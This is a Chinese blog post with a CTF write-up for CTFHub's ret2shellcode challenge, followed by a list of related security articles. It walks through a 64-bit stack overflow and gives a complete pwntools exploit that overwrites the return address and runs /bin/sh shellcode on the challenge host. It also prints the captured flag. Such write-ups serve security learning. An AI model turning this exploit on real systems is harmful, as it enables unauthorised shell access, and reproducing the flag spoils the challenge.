CTFHubret2shellcode-入土为安的第十三天

简介: CTFHubret2shellcode-入土为安的第十三天

checksec pwn

没有开保护 并且是64位的

放入IDa64

shift+f12 查看字符串

发现没有shell

f5查看主函数

read函数,点进去buf

0x010,0x08.

buf的地址 因为我们要把buf填充满 然后再让栈进入shellcode的地址 然后再执行shellcode

  • recvuntil 函数会一直读取数据,直到遇到指定的终止字符(']'),这有助于确保你从远程服务接收到了完整的、包含有用信息的数据。  eg:Buffer address: 0x7fffffffe000]
  • shellcode:
  • 这是实际的 shellcode 字节码,之前通过 asm(shellcraft.sh()) 生成的。
  • 它的作用是执行一个 shell(/bin/sh)。这个 shellcode 将在缓冲区溢出后被执行。
  • p64pwntools 提供的一个函数,它将 shellcode_addr 转换为 64 位的小端格式(8 字节)。

from pwn import *
import re
context.arch='amd64'
shellcode=asm(shellcraft.sh())
p=remote('challenge-d40d1cb161bcae57.sandbox.ctfhub.com',24552)
buf_addr=p.recvuntil(']')  #截取到]为止的字符串
buf_addr=int(buf_addr[-15:-1],16)  #处理一下 然后为16进制
shellcode_addr=buf_addr+32   #0x10+0x08+0x08 十进制为32
payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

ctfhub{52391a33853a4935e36d7ae5}

目录
相关文章
|
4月前
[MoeCTF 2022]rop32-入土为安的第十八天
[MoeCTF 2022]rop32-入土为安的第十八天
33 0
|
NoSQL 安全 Shell
简单的PWN学习-ret2shellcode
最近在学习pwn,这是一道2016年的pwn题目,主要学习关于栈溢出以及劫持栈指针达到命令执行的效果,笔者水平较差,请轻喷
|
存储 安全 网络协议
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用`Metasploit`这个渗透工具生成`ShellCode`以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向`ShellCode`Shell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与`《运用C语言编写ShellCode代码》`中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对`Metasploit`工具生成的Shell原理的理解能够起到促进作用。
112 0
|
存储 算法 安全
Cobaltstrike4.0 —— shellcode分析(三)
Cobaltstrike4.0 —— shellcode分析
352 0
|
存储 算法 安全
Cobaltstrike4.0 —— shellcode分析(二)
Cobaltstrike4.0 —— shellcode分析
299 0
|
存储 算法 安全
Cobaltstrike4.0 —— shellcode分析(一)
Cobaltstrike4.0 —— shellcode分析
397 0
|
存储 安全 IDE
使用C编译器编写shellcode
有时候程序员们需要写一段独立于位置操作的代码,可当作一段数据写到其他进程或者网络中去。该类型代码在它诞生之初就被称为shellcode,在软件中黑客们以此获取到shell权限。方法就是通过这样或那样的恶意手法使得这段代码得以执行,完成它的使命。当然了,该代码的编写仅能靠它自己,作者无法使用现代软件开发的实践来推进shellcode的编写。
255 0
使用C编译器编写shellcode
一次简单的反汇编
一次简单的反汇编代码
1494 0